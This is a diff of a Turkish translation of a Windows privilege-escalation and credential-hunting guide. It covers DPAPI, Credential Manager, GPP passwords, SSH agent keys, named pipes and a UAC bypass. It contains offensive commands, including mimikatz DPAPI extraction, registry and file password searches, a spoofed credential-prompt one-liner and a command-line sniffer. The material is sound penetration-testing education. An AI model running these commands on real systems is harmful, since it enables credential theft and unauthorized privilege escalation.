keşfedebilirsiniz. @@ -701,9 +661,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Kimlik bilgileri yöneticisi / Windows kasası From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Kasa, **Windows**'un kullanıcıları **otomatik olarak oturum açabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak oturum açarlar. Ama durum böyle değil. +Windows Kasa, **Windows**'un kullanıcıları otomatik olarak **giriş yapabileceği** sunucular, web siteleri ve diğer programlar için kullanıcı kimlik bilgilerini saklar. İlk bakışta, bu kullanıcıların Facebook kimlik bilgilerini, Twitter kimlik bilgilerini, Gmail kimlik bilgilerini vb. saklayabileceği gibi görünebilir, böylece tarayıcılar aracılığıyla otomatik olarak giriş yapabilirler. Ama durum böyle değil. -Windows Kasa, Windows'un kullanıcıları otomatik olarak oturum açabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **kaynağa erişmek için kimlik bilgilerine ihtiyaç duyan Windows uygulaması** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. +Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **Windows uygulaması, bir kaynağa erişmek için kimlik bilgilerine ihtiyaç duyuyorsa** (sunucu veya web sitesi) **bu Kimlik Bilgileri Yöneticisi** ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**. @@ -727,11 +687,11 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util ### DPAPI -**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. +**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. -**DPAPI, kullanıcı giriş sırlarından türetilen bir simetrik anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. +**DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. -DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). +DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier) anlamına gelir. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -745,8 +705,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -**mimikatz modülünü** `dpapi::cred` uygun `/masterkey` ile şifreyi çözmek için kullanabilirsiniz.\ -**Bellekten birçok DPAPI** **masterkey** `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root iseniz). +**mimikatz modülünü** `dpapi::cred` ile uygun `/masterkey` kullanarak şifre çözmek için kullanabilirsiniz.\ +**Bellekten birçok DPAPI** **masterkey** **çıkartabilirsiniz** `sekurlsa::dpapi` modülü ile (eğer root iseniz). {{#ref}} dpapi-extracting-passwords.md @@ -754,9 +714,9 @@ dpapi-extracting-passwords.md ### PowerShell Kimlik Bilgileri -**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifresinin çözülebileceği anlamına gelir. +**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda aynı kullanıcı tarafından şifrelerinin çözülebileceği anlamına gelir. -Bir dosyadan PS kimlik bilgilerini **şifrelemek** için şunu yapabilirsiniz: +Bir PS kimlik bilgisini içeren dosyadan **şifre çözmek** için şunları yapabilirsiniz: ```powershell PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -795,7 +755,7 @@ Birçok DPAPI masterkey'i Mimikatz `sekurlsa::dpapi` modülü ile bellekten **ç ### Sticky Notes -İnsanlar genellikle Windows iş istasyonlarında şifreleri ve diğer bilgileri **kaydetmek için** StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. +İnsanlar genellikle Windows iş istasyonlarında **şifreleri** ve diğer bilgileri kaydetmek için StickyNotes uygulamasını kullanır, bunun bir veritabanı dosyası olduğunu fark etmeden. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aramaya ve incelemeye değerdir. ### AppCmd.exe @@ -906,10 +866,10 @@ SSH özel anahtarları kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Key ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer o yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ +Eğer bu yolda herhangi bir giriş bulursanız, muhtemelen kaydedilmiş bir SSH anahtarıdır. Şifreli olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca şifresi çözülebilir.\ Bu teknik hakkında daha fazla bilgi burada: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız: +Eğer `ssh-agent` servisi çalışmıyorsa ve başlangıçta otomatik olarak başlamasını istiyorsanız, şunu çalıştırın: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` @@ -976,7 +936,7 @@ AppData\Roaming\gcloud\access_tokens.db ### Cached GPP Pasword -Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabileceği için ciddi bir risk oluşturuyordu. +Daha önce, Grup Politika Tercihleri (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtımına olanak tanıyan bir özellik mevcuttu. Ancak, bu yöntemin önemli güvenlik açıkları vardı. Öncelikle, SYSVOL'da XML dosyası olarak saklanan Grup Politika Nesneleri (GPO'lar), herhangi bir etki alanı kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki şifreler, kamuya belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlik doğrulaması yapılmış kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine olanak tanıdığı için ciddi bir risk oluşturuyordu. Bu riski azaltmak için, boş olmayan bir "cpassword" alanı içeren yerel olarak önbelleğe alınmış GPP dosyalarını tarayan bir işlev geliştirildi. Böyle bir dosya bulunduğunda, işlev şifreyi çözer ve özel bir PowerShell nesnesi döndürür. Bu nesne, GPP hakkında ve dosyanın konumu hakkında ayrıntılar içerir, bu da bu güvenlik açığının tanımlanmasına ve giderilmesine yardımcı olur. @@ -994,7 +954,7 @@ Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec kullanarak şifreleri elde etme: +crackmapexec kullanarak şifreleri almak: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1052,7 +1012,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Kimlik bilgilerini isteyin -Her zaman **kullanıcının kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir): +Her zaman **kullanıcıdan kendi kimlik bilgilerini veya farklı bir kullanıcının kimlik bilgilerini girmesini isteyebilirsiniz** eğer onları bilebileceğini düşünüyorsanız (dikkat edin ki **müşteriden** doğrudan **kimlik bilgilerini istemek** gerçekten **riskli**dir): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1139,23 +1099,23 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct Bin'i kontrol ederek içinde kimlik bilgileri aramalısınız. -**Birçok program tarafından kaydedilen şifreleri kurtarmak için şunları kullanabilirsiniz:** [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### Inside the registry -**Kimlik bilgileri ile diğer olası kayıt defteri anahtarları** +**Other possible registry keys with credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Açık SSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**AçıkSSH anahtarlarını kayıt defterinden çıkarın.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Tarayıcı Geçmişi **Chrome veya Firefox**'tan şifrelerin saklandığı veritabanlarını kontrol etmelisiniz.\ -Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin, böylece bazı **şifreler** burada saklanmış olabilir. +Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin, belki bazı **şifreler** burada saklanmıştır. Tarayıcılardan şifreleri çıkarmak için araçlar: @@ -1166,15 +1126,15 @@ Tarayıcılardan şifreleri çıkarmak için araçlar: ### **COM DLL Üzerine Yazma** -**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, **bir sınıf kimliği (CLSID)** ile **tanımlanır** ve her bileşen, bir veya daha fazla arayüz aracılığıyla işlevsellik sunar; bu arayüzler, arayüz kimlikleri (IIDs) ile tanımlanır. +**Bileşen Nesne Modeli (COM)**, farklı dillerdeki yazılım bileşenleri arasında **iletişim** sağlamak için Windows işletim sistemine entegre edilmiş bir teknolojidir. Her COM bileşeni, **bir sınıf kimliği (CLSID)** ile **tanımlanır** ve her bileşen, **arayüz kimlikleri (IIDs)** ile tanımlanan bir veya daha fazla arayüz aracılığıyla işlevsellik sunar. COM sınıfları ve arayüzleri, kayıt defterinde **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve **HKEY\_**_**CLASSES\_**_**ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** birleştirilerek oluşturulur. -Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlemci), **Free** (Çok İşlemci), **Both** (Tek veya Çok) veya **Neutral** (İşlemci Nötr) olabilen bir değer olan **ThreadingModel**'i içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. +Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir **ThreadingModel** adlı değeri içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. ![](<../../images/image (729).png>) -Temelde, yürütülecek olan herhangi bir **DLL'yi üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri artırabilirsiniz**. +Temelde, yürütülecek olan herhangi bir **DLL'yi üzerine yazabilirseniz**, o DLL farklı bir kullanıcı tarafından yürütülecekse **yetkileri yükseltebilirsiniz**. Saldırganların COM Hijacking'i kalıcılık mekanizması olarak nasıl kullandığını öğrenmek için kontrol edin: @@ -1190,7 +1150,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Belirli bir dosya adıyla dosya arayın** +**Belirli bir dosya adıyla bir dosya arayın** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1218,26 +1178,26 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Sızdırılan Handle'lar -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +**SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklarla yeni bir süreç oluşturduğunda** (`CreateProcess()`) **ana sürecin tüm açık handle'larını miras alır**.\ +Eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı sürece açık handle'ı alabilir** ve **shellcode enjekte edebilirsiniz**.\ +[Bu örneği okuyarak **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi edinebilirsiniz**.](leaked-handle-exploitation.md)\ +[**Farklı izin seviyeleriyle (sadece tam erişim değil) miras alınan süreçler ve thread'lerin daha fazla açık handle'ını test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## İsimli Boru Müşteri Taklidi +## İsimlendirilmiş Boru Müşteri Taklidi -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +Paylaşılan bellek segmentleri, **borular** olarak adlandırılır ve süreç iletişimi ve veri transferini sağlar. -Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. +Windows, **İsimlendirilmiş Borular** adı verilen bir özellik sunar; bu, ilgisiz süreçlerin verileri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimlendirilmiş boru sunucusu** ve **isimlendirilmiş boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer. -When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). +Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran **ayrıca ayrıcalıklı bir süreci** tanımlamak, o süreç boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. -Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimlendirilmiş boru iletişimini kesmeyi** sağlar: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, privesc bulmak için tüm boruları listeleyip görmenizi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Çeşitli ### **Şifreler için Komut Satırlarını İzleme** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +Bir kullanıcı olarak bir shell aldığınızda, **komut satırında kimlik bilgilerini geçiren** planlanmış görevler veya başka süreçler olabilir. Aşağıdaki script, her iki saniyede bir süreç komut satırlarını yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktılar. ```powershell while($true) { @@ -1247,11 +1207,11 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Süreçlerden Parola Çalma +## Şifreleri Süreçlerden Çalma ## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Atlatma -Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreç çalıştırmak mümkündür. +Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreci çalıştırmak mümkündür. Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyetle gerçekleştirilir. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir. @@ -1295,7 +1255,7 @@ Bu güvenlik açığını istismar etmek için aşağıdaki adımların gerçekl 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler mevcuttur: +Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır: https://github.com/jas502n/CVE-2019-1388 @@ -1317,15 +1277,15 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:** ### **Yeni hizmet** -Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: +Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SİSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` ### AlwaysInstallElevated -Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve bir _**.msi**_ sarmalayıcı kullanarak bir ters shell **kurmayı** deneyebilirsiniz.\ -[Kayıt defteri anahtarları ve bir _.msi_ paketinin nasıl yükleneceği hakkında daha fazla bilgi burada.](#alwaysinstallelevated) +Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişlerini etkinleştirmeyi** ve **ters bir shell yüklemeyi** deneyebilirsiniz _**.msi**_ sarmalayıcı kullanarak.\ +[Kayıt anahtarları hakkında daha fazla bilgi ve bir _.msi_ paketini nasıl yükleyeceğiniz burada.](#alwaysinstallelevated) ### High + SeImpersonate ayrıcalığını Sisteme @@ -1335,11 +1295,11 @@ Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişler Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\ Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\ -**Önerilen tekniği uygulayan bir** [**kod örneğini burada bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** +**Önerilen tekniği uygulayan bir** [**kod örneğini buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** oluşturan **sunucu**, **`SeImpersonate`** ayrıcalığı kullanarak boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\ +Bu teknik, meterpreter tarafından `getsystem`'da yükselmek için kullanılır. Teknik, **bir boru oluşturmayı ve ardından o boruya yazmak için bir hizmet oluşturmayı/istismar etmeyi** içerir. Daha sonra, **boruyu** `SeImpersonate` ayrıcalığı ile oluşturan **sunucu**, boru istemcisinin (hizmetin) **token'ını taklit edebilecektir** ve SYSTEM ayrıcalıklarını elde edecektir.\ Eğer [**isimli borular hakkında daha fazla bilgi edinmek istiyorsanız bunu okumalısınız**](#named-pipe-client-impersonation).\ Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçileceğine dair bir örnek okumak istiyorsanız bunu okumalısınız**](from-high-integrity-to-system-with-name-pipes.md). @@ -1374,15 +1334,15 @@ https://github.com/sailay1996/RpcSsImpersonator [**privesc** ](https://github.com/enjoiz/Privesc)**-- Yanlış yapılandırmaları kontrol et**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan şifreleri alan adı üzerinde püskürt**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracıdır.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (WATSON için DEPREKATE)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (DEPREKATE Watson için)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerektirir)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ [**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ @@ -1402,25 +1362,25 @@ https://github.com/sailay1996/RpcSsImpersonator _multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu görün](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Bibliyografya +## Referanslar -- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\ -- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\ -- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\ -- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\ -- 